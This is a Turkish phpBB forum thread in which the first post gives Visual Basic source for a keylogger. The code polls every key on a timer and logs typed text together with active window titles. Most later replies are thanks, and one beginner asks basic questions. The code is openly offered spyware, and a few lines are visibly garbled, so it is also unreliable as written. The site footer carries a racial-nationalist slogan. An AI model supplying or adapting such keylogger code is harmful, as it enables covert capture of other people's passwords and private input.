Etiketler: biraz, şimdiden, anlatsan, anlamadım, blmiyrm, tşkklr, yapıştırdım, dosyası, açıp, nedir, kısmını, hocam, uzantısı, timer, bilmeyenlere, text, olacak, onu, içine |
| « Önceki başlık :: Sonraki başlık » |
| Yazar |
Mesaj |
SistemCesur Türk

Durum: Çevrimdışı Kayıt: 19.01.2006
Mesajlar: 12294
Level: 69
| Deneyim: |
12842 / 12842 |
|
|
|
100% |
|
Tarih: Sun Mar 12, 2006 2:25 pm Mesaj konusu: VB de Keylogger Yapimi |
|
|
Bunun için vb yi açin daha sonra projenize bir text kutusu (Text1) birde timer (Timer1) koyun.ve daha sonrada Timer1 in interval degerini (1) yapin.Ondan sonrada asagidaki kodlari projenize zimbalayin Herkese basarilar
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Dim a(0 To 9) As String
Dim Baslik As String
Private Sub Text1_Change()
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim BasilanTus As String
Dim dongu As Byte
’If GetForegroundWindow <> HandleNoSu Then
’ HandleNoSu = GetForegroundWindow
If Baslik <> BasligiAl(GetForegroundWindow) Then
Baslik = BasligiAl(GetForegroundWindow)
’Else
Text1 = Text1 & " [" & Baslik & "] " & vbCrLf
End If
’End If
If GetAsyncKeyState(13) = -32767 Then
BasilanTus = vbCrLf
GoTo tusuyaz
End If
If GetAsyncKeyState( = -32767 Then
Text1 = Left(Text1, Len(Text1) - 1)
GoTo tusuyaz
End If
If GetAsyncKeyState(32) = -32767 Then
BasilanTus = " "
GoTo tusuyaz
End If
If GetAsyncKeyState(186) = -32767 Then
If ShiftTusu = True Then BasilanTus = ":"
If ShiftTusu = False Then BasilanTus = ";"
GoTo tusuyaz
End If
If GetAsyncKeyState(187) = -32767 Then
If ShiftTusu = True Then BasilanTus = "+"
If ShiftTusu = False Then BasilanTus = "="
GoTo tusuyaz
End If
If GetAsyncKeyState(188) = -32767 Then
If ShiftTusu = True Then BasilanTus = "<"
If ShiftTusu = False Then BasilanTus = ","
GoTo tusuyaz
End If
If GetAsyncKeyState(189) = -32767 Then
If ShiftTusu = True Then BasilanTus = "_"
If ShiftTusu = False Then BasilanTus = "-"
GoTo tusuyaz
End If
If GetAsyncKeyState(190) = -32767 Then
If ShiftTusu = True Then BasilanTus = ">"
If ShiftTusu = False Then BasilanTus = "."
GoTo tusuyaz
End If
If GetAsyncKeyState(191) = -32767 Then
If ShiftTusu = True Then BasilanTus = "?"
If ShiftTusu = False Then BasilanTus = "/"
GoTo tusuyaz
End If
If GetAsyncKeyState(192) = -32767 Then
If ShiftTusu = True Then BasilanTus = "~"
If ShiftTusu = False Then BasilanTus = "`"
GoTo tusuyaz
End If
If GetAsyncKeyState(96) = -32767 Then
If ShiftTusu = False Then BasilanTus = "0"
GoTo tusuyaz
End If
If GetAsyncKeyState(97) = -32767 Then
If ShiftTusu = False Then BasilanTus = "1"
GoTo tusuyaz
End If
If GetAsyncKeyState(9 = -32767 Then
If ShiftTusu = False Then BasilanTus = "2"
GoTo tusuyaz
End If
If GetAsyncKeyState(99) = -32767 Then
If ShiftTusu = False Then BasilanTus = "3"
GoTo tusuyaz
End If
If GetAsyncKeyState(100) = -32767 Then
If ShiftTusu = False Then BasilanTus = "4"
GoTo tusuyaz
End If
If GetAsyncKeyState(101) = -32767 Then
If ShiftTusu = False Then BasilanTus = "5"
GoTo tusuyaz
End If
If GetAsyncKeyState(102) = -32767 Then
If ShiftTusu = False Then BasilanTus = "6"
GoTo tusuyaz
End If
If GetAsyncKeyState(103) = -32767 Then
If ShiftTusu = False Then BasilanTus = "7"
GoTo tusuyaz
End If
If GetAsyncKeyState(104) = -32767 Then
If ShiftTusu = False Then BasilanTus = "8"
GoTo tusuyaz
End If
If GetAsyncKeyState(105) = -32767 Then
If ShiftTusu = False Then BasilanTus = "9"
GoTo tusuyaz
End If
If GetAsyncKeyState(106) = -32767 Then
If ShiftTusu = False Then BasilanTus = "*"
GoTo tusuyaz
End If
If GetAsyncKeyState(107) = -32767 Then
If ShiftTusu = False Then BasilanTus = "+"
GoTo tusuyaz
End If
If GetAsyncKeyState(108) = -32767 Then
If ShiftTusu = False Then BasilanTus = ""
Text1.Text = Text1.Text & vbCrLf
GoTo tusuyaz
End If
If GetAsyncKeyState(109) = -32767 Then
If ShiftTusu = False Then BasilanTus = "-"
GoTo tusuyaz
End If
If GetAsyncKeyState(110) = -32767 Then
If ShiftTusu = False Then BasilanTus = "."
GoTo tusuyaz
End If
If GetAsyncKeyState(111) = -32767 Then
If ShiftTusu = False Then BasilanTus = "/"
GoTo tusuyaz
End If
If GetAsyncKeyState(219) = -32767 Then
If ShiftTusu = True Then BasilanTus = "{"
If ShiftTusu = False Then BasilanTus = "["
GoTo tusuyaz
End If
If GetAsyncKeyState(220) = -32767 Then
If ShiftTusu = True Then BasilanTus = "|"
If ShiftTusu = False Then BasilanTus = ""
GoTo tusuyaz
End If
If GetAsyncKeyState(221) = -32767 Then
If ShiftTusu = True Then BasilanTus = "}"
If ShiftTusu = False Then BasilanTus = "]"
GoTo tusuyaz
End If
If GetAsyncKeyState(222) = -32767 Then
If ShiftTusu = True Then BasilanTus = Chr(34)
If ShiftTusu = False Then BasilanTus = "’"
GoTo tusuyaz
End If
dongu = 48
Do Until dongu = 91
If GetAsyncKeyState(dongu) = -32767 Then
If dongu >= 65 And dongu <= 90 Then
If CapsLockTusu = True And ShiftTusu = True Then BasilanTus = LCase(Chr(dongu))
If CapsLockTusu = False And ShiftTusu = False Then BasilanTus = LCase(Chr(dongu))
If CapsLockTusu = True And ShiftTusu = False Then BasilanTus = UCase(Chr(dongu))
If CapsLockTusu = False And ShiftTusu = True Then BasilanTus = UCase(Chr(dongu))
GoTo tusuyaz
End If
If dongu >= 48 And dongu <= 57 And ShiftTusu = True Then
If ShiftTusu = True Then
BasilanTus = a(Val(Chr(dongu)))
GoTo tusuyaz
End If
End If
End If
dongu = dongu + 1
Loop
Exit Sub
tusuyaz:
Text1.Text = Text1.Text & BasilanTus
End Sub
Function BasligiAl(hwnd As Long)
Dim hWndTitle As String
hWndTitle = String(GetWindowTextLength(hwnd), 0)
GetWindowText hwnd, hWndTitle, (GetWindowTextLength(hwnd) + 1)
BasligiAl = hWndTitle
End Function
Public Sub tusuyaz()
Text1.Text = Text1 & BasilanTus
Text1.SelLength = Len(Text1)
End Sub
Public Function ShiftTusu() As Boolean
ShiftTusu = CBool(GetAsyncKeyState(vbKeyShift))
End Function
Public Function CapsLockTusu() As Boolean
CapsLockTusu = CBool(GetKeyState(vbKeyCapital) And 1)
End Function |
|
| Başa dön |
|
 |
|
dj_blueVatandaş

Durum: Çevrimdışı Kayıt: 02.10.2006
Mesajlar: 42 Şehir: manisa
Level: 5
|
Tarih: Tue Dec 19, 2006 7:40 pm Mesaj konusu: |
|
|
tşk _________________ DjBLuE |
|
| Başa dön |
|
 |
İşLeMCi_22Vatandaş

 Durum: Çevrimdışı Kayıt: 06.12.2006
Mesajlar: 22 Şehir: EDİRNE
Level: 3
|
Tarih: Mon Jan 01, 2007 9:44 pm Mesaj konusu: |
|
|
| paylasm içn thx.. |
|
| Başa dön |
|
 |
white00Vatandaş

Durum: Çevrimdışı Kayıt: 13.11.2007
Mesajlar: 1
Level: 1
|
Tarih: Tue Nov 13, 2007 4:23 am Mesaj konusu: |
|
|
iyi de hocam biraz bilmeyenlere göre anlatsan daha iyi olacak..
VB nedir?
timer kısmını da anlamadım..
text dosyası açıp içine yapıştırdım uzantısı ne olacak onu da blmiyrm..
şimdiden tşkklr.. |
|
| Başa dön |
|
 |
Sayfanın En Üstüne Çıkmak İçin BURAYA TIKLA !
Bu forum phpBB Tabanlıdır.
Privacy (Gizlilik ilkesi)
Copyright © 2005-2007
All right reserved CesurTurk.Org
Cesur Türk Kullanıcı Gizlilik Koşulları ve Site Kullanım Şartları
Bu sayfada yer alan bilgilerin her hakkı, aksi ayrıca belirtilmediği sürece CesurTurk.Org'ye aittir.
Materyallerimizin izin alınmadan kopyalanması ve kullanılması 5846 sayılı Fikir ve Sanat Eserleri Yasasına göre suçtur.
Sitemizde yer alan yazıların telif hakları yazarların kendilerine veya yetki verdikleri kişilere aittir.
Sitemiz hiç bir şekilde kâr amacı gütmemektedir ve sitemizde yer alan tüm materyaller yalnızca bilgilendirme ve eğitim amacıyla sunulmaktadır. Misyonumuzu buradan okuyabilirsiniz.
Sitemizde yazınız bulunuyorsa ve kaldırılmasını istiyorsanız lütfen iletişim bölümünden irtibata geçiniz.
Yönetim ve Webtasarım SABQCES tarafından yapılmaktadır.
(( Gücümüzü Türk devletini kuran asil Türk ırkından alıyoruz ))
| Genel Site Map
| |